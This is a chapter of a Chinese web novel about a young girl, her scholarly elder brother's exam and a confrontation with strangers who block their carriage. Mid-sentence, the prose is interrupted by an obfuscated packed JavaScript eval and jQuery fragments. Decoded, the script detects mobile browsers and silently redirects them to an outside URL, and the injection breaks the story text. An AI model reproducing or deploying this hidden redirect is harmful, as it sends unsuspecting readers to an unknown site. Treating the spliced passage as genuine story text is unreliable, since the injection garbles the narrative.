46. 来人

作品:《废柴咸鱼躺不平

    临出门时,清溪邀萧清宴一同出行,被以温习功课为由拒绝。


    清溪只能去寻休沐在家的殷远舟。


    但她刚才看到了什么,她家光风霁月的大哥哥在街角跟一名年轻女子拉拉扯扯?


    清溪第一反应便是错觉,揉揉眼睛再次看过去,那处已空无一人。


    “溪溪在看什么?”


    殷远舟的声音将清溪从思绪中拽出,顺着她的视线望向空荡荡的拐角,唇角的笑意淡去,双眼微眯,似笑非笑地朝那处空地看了眼。


    清溪不知殷远舟变化,小脑袋摇得像拨浪鼓,“没什么,可能是看错了,爹爹我们快些回去吧。”


    此处离长公主府不远,踏进长公主府的第一时间,清溪就从殷远舟怀里挣扎出来,挥挥小爪就蹬着小短腿一溜烟儿地往萧清宴书房跑去。


    她要确认一番刚才一瞥是否是幻觉。


    清溪人小腿短,长公主府面积又大,她跑了好一会儿才抵达目的地。


    站在门口的清溪又犹豫了,她不该怀疑大哥哥,但那名女子总觉得眼熟,让她感到不安。


    踌躇间,书房内传来萧清宴温润的声音,“门没关,进来吧溪溪。”


    清溪微讶,推门进去时才发现谢听澜没有跟来,想起刚才自家爹爹拉住想要跟过来的谢听澜。


    想来该是有其他事,清溪快步走到萧清宴身边,见他正俯在书案前笔走游蛇。


    没什么鉴赏能力的清溪踮着脚尖扒着书案边沿看,也没看出个所以然,只觉得自家大哥哥字还挺好看的。


    萧清宴瞥见清溪赞赏的小眼神,不禁哑然失笑,放下笔俯身将小姑娘抱起放在椅子上。


    “不是出去看热闹了,怎么突然回来找我?”


    清溪的视线在萧清宴脸上划过,又定格在书案上墨迹未干的书法,悄悄松了口气。


    刚才那一幕果然是错觉。


    清溪猫瞳清亮,指着书案上的字大加赞赏,“看过了,溪溪回来陪大哥哥一起温书,大哥哥的字真好看。”


    萧清宴温和一笑,从笔架上取过孩童专用笔递给清溪,眼底是遮不住的戏谑。


    “既如此,溪溪跟大哥哥一起练字吧,大哥哥亲自教溪溪”


    清溪:“……”


    怎么转移话题还把自己坑进去了?


    在萧清宴和煦的笑容中,清溪收回偷懒耍滑的心思,老老实实接过家人为她定制的羊毫笔。


    在萧清宴为她铺好的宣纸上挥斥方遒。


    丝毫没有注意到萧清宴那被树枝划破的衣角和额上的汗珠。


    萧清宴也没有在意她乱写乱画,俯身把住清溪的小肉手,写了几个字让她描着写。


    等清溪彻底掌握羊毫笔握笔方式,并学会千字文一半以上的字时,春闱已经悄无声息地到了。


    而清溪即将过六岁生日,殷远舟估算了一下,说清溪的生日大概就是春闱放榜当日。


    乐得清溪拉着萧清宴的手不住祈祷,要把自己的福气分给最喜欢的大哥哥,让他金榜题名,得偿所愿。


    萧清宴含笑揉揉清溪的小脑袋,“溪溪的福气不用分给我,大哥哥要自己努力,溪溪只要快快乐乐地等大哥哥的好消息即可。”


    清溪乖巧点头,目送萧清宴的身影消失在贡院大门,像个小大人似的长叹一声。


    “哎,我们回去吧,大哥哥得在里面待好几天呢。”


    清溪觉得古代科举考的不仅是学子学识,还有学子的耐力,三天的吃喝拉撒全在一个小隔间完成,想想就觉得可怕。


    “萧大哥没有问题,不用担心。”


    比起清溪,谢听澜的反应反而平静的多,将小脑袋探出去的清溪拉回马车,吩咐车夫返回长公主府。


    长公主好殷远舟担心他们出现会引发动乱,只在家中送考,殷清禾和殷清淮各自忙碌不在京城,今日送考的只有清溪和谢听澜两人。


    现在的谢听澜已经完全没有初见时的瘦弱单薄,整个人像抽条一般长高很多,因日日练武的缘故,身体强健不少,配上那张稚气未脱却难掩出尘气质的脸,仅是坐在那里就足够引人注目。


    清溪坐在谢听澜身边上上下下大量谢听澜许久,把人家小少年看得脸颊发红都没收回目光。


    “怎,怎么了?”


    “没什么,就是觉得听澜哥哥好像更好看了些。”


    话音刚落,谢听澜的脸颊已经红透,连耳尖都泛着浅浅的粉色,偏偏罪魁祸首还毫无察觉,专注地看着谢听澜乌黑卷曲的长发。


    “就连头发都很好看。”


    谢听澜是自然卷,乌黑发亮发尾处微微卷曲,生生弱化眉眼处脱俗出尘的气质,更添几分灵动飘逸。


    谢听澜长成如今模样,除了他自身努力以外,更离不开长公主府的精心庇佑,硬是把他的身体调养过来。


    现在的谢听澜更有勋贵子弟的模样和气场。


    有时候长公主看到他都会恍惚,就仿佛那位早逝的英国公世子青春不改仍在眼前一般。


    清溪没见过英国公世子谢擎苍,但她见惯了谢听澜,对着相似的长相倒是可以想象出来。


    “咳,清清别看了,这会儿送考的人多,马车不好走,不会那么快到公主府,你要吃些什么嘛?琼酥馆有新出的点心,佟掌柜特意送来给你尝鲜。”


    谢听澜了解清溪,自然知道如何转移她的注意力,打开放在一侧的食盒,独属于点心的清甜味道就把小姑娘的注意力全部吸引过来。


    长长吐出一口浊气,谢听澜唇角含笑,将点心放在小碟子上递给清溪,见她吃得像只小仓鼠,生怕她噎着,赶紧倒好一杯茶水递了过去。


    又拿出随身携带的帕子,准备随时给她擦嘴角。


    “听澜哥哥,你不用管我,你也尝尝啊,这个味道还不错,推出后肯定闻名京城。”


    谢听澜应了一声,却没有去拿食盒中的点心,只安静看着清溪将一块点心全部吃完,递上茶水供她解腻。


    不知为何,他本能的排斥点心这类噎人的食物,每每看见就觉得心里生出一股暴戾,也只有看着清溪一脸幸福地品尝才能抚平那股暴戾之气。


    眼见谢听澜又一次将手伸向食盒,清溪连忙阻止,“听澜哥哥,不用切块的,我已经长大了,点心噎不到我。”


    谢听澜手指微顿,垂眸敛去眼底的异色,点心切块不是他的习惯,是那个人的。


    轻轻“嗯”了一声,谢听澜已经将食盒盖上,在清溪奇怪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782023|172204||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的眼神中微笑解释:“先吃一块,剩下的回府再吃。”


    清溪眼巴巴地望着食盒,期待的小眼神看得人心头发软,谢听澜只是含笑看着,一点儿没有打开食盒给她点心的意思。


    “你忘了太医的叮嘱?”


    不让她吃并非完全出于私心,主要还是这小姑娘嘴馋,吃东西毫无顾忌,导致身体出了点儿问题,太医看过后嘱咐吃东西不可贪多。


    清溪在谢听澜如沐春风的笑容中叹了口气,吞吞口水艰难地将目光从食盒上错开。


    马车不疾不徐往长公主府驰去,时不时传来车夫轻甩马鞭的声音,清溪望着食盒眼中流露出的垂涎令人无奈。


    谢听澜正要温声安抚,马车突然急刹,清溪小小一人差点儿摔倒,马车外随即传来一声尖叫,还有男人声嘶力竭的哭喊。


    清溪的小眉头顿时皱了起来,这声音就在他们马车的正前方,明摆着冲他们而来。


    掀开车帘,清溪满脸恼怒地瞪视前方被一众侍卫挡住的中年男女。


    “你们想干什么?这是镇国长公主车架,当街拦车是想去京兆府吗?”


    中年男女望着马车上衣着华贵的小姑娘,精明的眼中带着呼之欲出的贪婪。


    谢听澜第一时间将清溪挡在身后,厌恶的目光从他们身上划过,对着一众侍卫吩咐,“将他们送去京兆府,就说这两人当街拦截镇国长公主府车架意图行刺,让京兆府尹看着处理。”


    侍卫短暂呆愣一瞬,对谢听澜恭敬作揖,将中年男女反手扣住,压着人就京兆府而去。


    两人见他们来真的,顿时涨红了脸高声呐喊,“镇国长公主府仗势欺人,大家快来看啊,镇国长公主府抢走我们家孩子,还……”


    “愣着干什么?把他们嘴给我堵上。”


    谢听澜瞳孔微缩,捂住清溪的小耳朵,厉声呵斥被中年夫妻言语中信息镇住的侍卫。


    “究竟谁给你们的狗胆,竟敢胡乱攀扯镇国长公主府,不用送京兆府了,直接押回长公主府,听候殿下发落!”


    谢听澜目光森寒地看向因堵嘴而脸色涨红的中年男女,脑海中不断回响殷远舟讲述的故事,将目光转向逐渐聚集过来的路人。


    这些人都是送考的勋贵家眷,谢听澜俯身环住呆若木鸡的清溪,眸光悲戚。


    “县主遇刺后一直郁郁寡欢,今日又被两名刺客吓到,怕是又要大病一场,”


    清溪瞬间明了谢听澜意图,哀嚎一声立即软到下去,装出一副人事不省的姿态。


    原本还在犹疑不定的路人见状纷纷摆手撤离。


    上次刺杀事件之后圣上大怒,每天都有潜伏的前朝探子被拖进诏狱,连皇宫都无法幸免,整个京城时至今日都人心惶惶。


    一切的源头都是福安县主和长公主嫡幼子遇刺之故。


    稍有眼色的人都知道镇国长公主府正得圣眷,轻易惹不得。


    对于这些勋贵而言,解释永远不如威胁有用,只要今上偏宠镇国长公主,这些人就不敢轻易议论长公主家事。


    如今这种情况更是避之不及。


    见路人散去,谢听澜才悄然松了口气,垂眸正对上清溪探究的目光。


    谢听澜:“......”